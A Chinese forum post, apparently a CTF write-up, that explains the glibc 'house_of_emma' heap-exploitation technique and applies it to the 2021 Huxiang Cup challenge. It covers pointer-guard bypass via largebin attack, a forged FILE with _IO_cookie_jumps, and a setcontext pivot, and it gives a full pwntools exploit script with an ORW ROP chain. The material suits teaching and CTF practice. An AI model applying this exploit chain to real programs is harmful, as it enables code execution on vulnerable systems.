house_of_emma

瑞星  金牌会员 | 2024-9-13 16:14:41 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 635|帖子 635|积分 1905

house_of_emma

前言:

相比力于house_of_kiwi(house_of_kiwi),house_of_emma的伎俩更加刁钻,而且威力更大,条件比力宽松,只需要lagebin_attack即可完成。
固然把两着放到一起是由于它们都利用了__malloc_assest来刷新IO流,不同的是,house_of_kiwi是通过修改调用函数的指针,还有修改rdx(_IO_heaper_jumps)的偏移到达目标的,条件需要两次恣意地址写,相对来说比力苛刻,然后house_of_emma则是利用了vtable地址的合法性,在符合vtable的地方找到了一个函数_IO_cookie_read,这个函数存在_IO_cookie_jumps中,可以看一下。
  1. pwndbg> p _IO_cookie_jumps
  2. $1 = {
  3.   __dummy = 0,
  4.   __dummy2 = 0,
  5.   __finish = 0x7bc53c683dc0 <_IO_new_file_finish>,
  6.   __overflow = 0x7bc53c684790 <_IO_new_file_overflow>,
  7.   __underflow = 0x7bc53c684480 <_IO_new_file_underflow>,
  8.   __uflow = 0x7bc53c685560 <__GI__IO_default_uflow>,
  9.   __pbackfail = 0x7bc53c686640 <__GI__IO_default_pbackfail>,
  10.   __xsputn = 0x7bc53c6839b0 <_IO_new_file_xsputn>,
  11.   __xsgetn = 0x7bc53c685740 <__GI__IO_default_xsgetn>,
  12.   __seekoff = 0x7bc53c678ae0 <_IO_cookie_seekoff>,
  13.   __seekpos = 0x7bc53c685900 <_IO_default_seekpos>,
  14.   __setbuf = 0x7bc53c6826d0 <_IO_new_file_setbuf>,
  15.   __sync = 0x7bc53c682560 <_IO_new_file_sync>,
  16.   __doallocate = 0x7bc53c677ef0 <__GI__IO_file_doallocate>,
  17.   __read = 0x7bc53c6789c0 <_IO_cookie_read>,
  18.   __write = 0x7bc53c6789f0 <_IO_cookie_write>,
  19.   __seek = 0x7bc53c678a40 <_IO_cookie_seek>,
  20.   __close = 0x7bc53c678aa0 <_IO_cookie_close>,
  21.   __stat = 0x7bc53c6867a0 <_IO_default_stat>,
  22.   __showmanyc = 0x7bc53c6867d0 <_IO_default_showmanyc>,
  23.   __imbue = 0x7bc53c6867e0 <_IO_default_imbue>
  24. }
复制代码
可以瞥见它位于_IO_cookie_jumps+0x38+0x38的位置,至于为什么不写_IO_cookie_jumps+0x70,这样为了方便背面理解。
我们看看_IO_cookie_read都做了什么
  1.   0x7bc53c6789c0 <_IO_cookie_read>       endbr64
  2.    0x7bc53c6789c4 <_IO_cookie_read+4>     mov    rax, qword ptr [rdi + 0xe8]
  3.    0x7bc53c6789cb <_IO_cookie_read+11>    ror    rax, 0x11  
  4.    0x7bc53c6789cf <_IO_cookie_read+15>    xor    rax, qword ptr fs:[0x30] #解密处理
  5.    0x7bc53c6789d8 <_IO_cookie_read+24>    test   rax, rax
  6. ► 0x7bc53c6789db <_IO_cookie_read+27>    je     _IO_cookie_read+38                <_IO_cookie_read+38>
  7.    0x7bc53c6789dd <_IO_cookie_read+29>    mov    rdi, qword ptr [rdi + 0xe0]
  8.    0x7bc53c6789e4 <_IO_cookie_read+36>    jmp    rax  #call rax
复制代码
可以瞥见call rax 也就是我们假如控制了rax那么就可以控制程序流,但是在此之前可以瞥见对rax进行相识密处理,将rax循环右移0x11,然后再和fs+0x30处的位置异或得到末了的rax
末了去查了一下,这个是glibc的PointerEncryption(自指针加密),是glibc保护指针的一种方式,glibc是这样解释的:指针加密是 glibc 的一项安全功能,旨在增加攻击者在 glibc 结构中利用指针(尤其是函数指针)的难度。此功能也称为 “指针修饰” 或 “指针保卫”。
这个值存放在TLS段上,一般环境下我们泄露不了,但是我们可以通过largebin_attack把一个堆块地址写入这个地址,那么key就变成了堆块指针,所以我们只需要,进行相应的加密就可以控制rax到达恣意地址。那么假如控制这个rax为system("/bin/sh")的地址,那么就可以跳转到此处执行shell。
然而还有一个题目,就是假如程序利用了沙箱禁用了execve,那么照旧要进行迁移,需要用到setcontext,但是我们知道,这个函数再glibc2.29以后控制的寄存器从原来的rdi变成了rdx,也就是我们要控制rdx的值,但是当处于_IO_cookie_read,会发现此时rdx的值为0,而rdi也就是我们伪造的fake_io堆块,那么需要一个gadget,既能将rdi  mov到rdx,又能继续接下来的程序流。


那么可以找到这样的一个gadget


这个gadget可以将rdi+8处地址给rdx,而且末了call rdx+0x20那么我们久可以继续控制程序流了。
怎么控制呢,假如把rdx+0x20的地方给setcontext+61的话,可以继续控制rdx+0xe0和rdx+0xe8的位置,那么就可以控制程序流进行orw
例题:[湖湘杯 2021]house_of_emma

这个题目是一个vm的题目,需要输入opcode,来执行相应的效果。但是我们重心在house_of_emma上,但是这个opcode可以看看末了的exp,也不难理解,雷同对你输入的指令进行8位分割
add函数申请堆块大小在0x40f到0x500之间


edit函数不能修改堆块之外的数据


题目出在free函数,存在uaf漏洞


show函数


分析:

本题libc给的是2.34的,那么__free_hook,malloc_hook等被移除了,固然由于存在UAF,而且还可以edit,那么泄露libc地址和heap地址会很容易,我们要伪造IO链,由于末了会利用stdder实现报错输出,所以我们可以劫持这个链子,将_lock给成合法地址,vtable给成 _IO_cookie_jumps+0x38,前面提到了这样是由于末了会call _IO_cookie_jumps+0x38再加上0x38的地址,就会到_IO_cookie_read,然后利用call rax的gadget布置rdx,然后call rdx+0x20 进入setcontxt + 61,然后就是orw了。
EXP:

  1. from gt import *
  2. con("amd64")
  3. libc = ELF("./libc.so.6")
  4. io = process("emma")
  5. opcode = b""
  6. def add(index,size):
  7.     global opcode
  8.     opcode += b'\x01'+p8(index)+p16(size)
  9. def free(index):
  10.     global opcode
  11.     opcode += b'\x02'+p8(index)
  12. def show(index):
  13.     global opcode
  14.     opcode += b'\x03'+p8(index)
  15. def edit(index,msg):
  16.     global opcode
  17.     opcode += b'\x04' + p8(index) + p16(len(msg)) + msg
  18. def run():
  19.     global opcode
  20.     opcode += b'\x05'
  21.     io.sendafter("Pls input the opcode",opcode)
  22.     opcode = b""
  23. # 加密函数 循环左移
  24. def rotate_left_64(x, n):
  25.     # 确保移动的位数在0-63之间
  26.     n = n % 64
  27.     # 先左移n位
  28.     left_shift = (x << n) & 0xffffffffffffffff
  29.     # 然后右移64-n位,将左移时超出的位移动回来
  30.     right_shift = (x >> (64 - n)) & 0xffffffffffffffff
  31.     # 合并两部分
  32.     return left_shift | right_shift
  33. add(0,0x410)
  34. add(1,0x410)
  35. add(2,0x420)
  36. add(3,0x410)
  37. free(2)
  38. add(4,0x430)
  39. show(2)
  40. run()
  41. io.recvuntil("Done")
  42. io.recvuntil("Done")
  43. io.recvuntil("Done")
  44. io.recvuntil("Done")
  45. io.recvuntil("Done")
  46. io.recvuntil("Done\n")
  47. libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x1f30b0
  48. suc("libc_base",libc_base)
  49. pop_rdi_addr = libc_base + 0x000000000002daa2 #: pop rdi; ret;
  50. pop_rsi_addr = libc_base + 0x0000000000037c0a #: pop rsi; ret;
  51. pop_rdx_r12 = libc_base + 0x00000000001066e1 #: pop rdx; pop r12; ret;
  52. pop_rax_addr = libc_base + 0x00000000000446c0 #: pop rax; ret;
  53. syscall_addr = libc_base + 0x00000000000883b6 #: syscall; ret;
  54. setcontext_addr = libc_base + libc.sym["setcontext"]
  55. stderr = libc_base + libc.sym["stderr"]
  56. open_addr = libc.sym['open']+libc_base
  57. read_addr = libc.sym['read']+libc_base
  58. write_addr = libc.sym['write']+libc_base
  59. #suc("guard",guard)
  60. _IO_cookie_jumps = libc_base + 0x1f3ae0
  61. edit(2,b'a'*0x10)
  62. show(2)
  63. #gdb.attach(io)
  64. run()
  65. io.recvuntil("a"*0x10)
  66. heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x2ae0
  67. suc("heap_base",heap_base)
  68. guard = libc_base+ 0x20d770
  69. suc("guard",guard)
  70. free(0)
  71. payload = p64(libc_base + 0x1f30b0)*2 + p64(heap_base +0x2ae0) + p64(stderr - 0x20)
  72. edit(2,payload)
  73. add(5,0x430)
  74. edit(2,p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
  75. edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
  76. add(0, 0x410)
  77. add(2, 0x420)
  78. run()
  79. free(2)
  80. add(6,0x430)
  81. free(0)
  82. edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
  83. add(7, 0x450)
  84. edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
  85. edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
  86. add(2, 0x420)
  87. add(0, 0x410)
  88. #gdb.attach(io)
  89. run()
  90. free(7)
  91. add(8, 0x430)
  92. edit(7,b'a' * 0x438 + p64(0x300))
  93. run()
  94. flag = heap_base + 0x22a0 + 0x260
  95. orw =p64(pop_rdi_addr)+p64(flag)
  96. orw+=p64(pop_rsi_addr)+p64(0)
  97. orw+=p64(pop_rax_addr)+p64(2)
  98. orw+=p64(syscall_addr)
  99. orw+=p64(pop_rdi_addr)+p64(3)
  100. orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050)     # 从地址 读出flag
  101. orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
  102. orw+=p64(read_addr)
  103. orw+=p64(pop_rdi_addr)+p64(1)
  104. orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050)     # 从地址 读出flag
  105. orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
  106. orw+=p64(write_addr)
  107. gadget = libc_base + 0x146020  # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
  108. chunk0 = heap_base + 0x22a0
  109. xor_key = chunk0
  110. suc("xor_key",xor_key)
  111. fake_io = p64(0) + p64(0) # IO_read_end IO_read_base
  112. fake_io += p64(0) + p64(0) + p64(0) # IO_write_base IO_write_ptr IO_write_end
  113. fake_io += p64(0) + p64(0) # IO_buf_base IO_buf_end
  114. fake_io += p64(0)*8 #_IO_save_base ~ _codecvt
  115. fake_io += p64(heap_base) + p64(0)*2  #_lock   _offset  _codecvt
  116. fake_io = fake_io.ljust(0xc8,b'\x00')
  117. fake_io += p64(_IO_cookie_jumps+0x38) #vtable
  118. rdi_data = chunk0 + 0xf0
  119. rdx_data = chunk0 + 0xf0
  120. encrypt_gadget = rotate_left_64(gadget^xor_key,0x11)
  121. fake_io += p64(rdi_data)
  122. fake_io += p64(encrypt_gadget)
  123. fake_io += p64(0) + p64(rdx_data)
  124. fake_io += p64(0)*2 + p64(setcontext_addr + 61)
  125. fake_io += p64(0xdeadbeef)
  126. fake_io += b'a'*(0xa0 - 0x30)
  127. fake_io += p64(chunk0+0x1a0)+p64(pop_rdi_addr+1)
  128. fake_io += orw
  129. fake_io += p64(0xdeadbeef)
  130. fake_io += b'flag\x00\x00\x00\x00'
  131. edit(0,fake_io)
  132. run()
  133. add(9,0x4c0)
  134. gdb.attach(io)
  135. run()
  136. io.interactive()
复制代码
gdaget call rax


call setcontext +61


实现迁移


最终效果


总结:

我个人感觉这个威力照旧不小的,但是打远程的话需要爆破tls地址这个比力麻烦,无论是house_of_kiwi照旧house_of_emma都是利用了__malloc_assest,但是遗憾的是,这个函数在厥后的libc中,不能处理IO了,末了乃至去掉了,但是在这之前的版本照旧可以利用的。
末了这个题目标附件在NSSCTF平台上面有,有爱好的师傅可以试一下。
The best way to predict the future is to create it.

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

瑞星

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表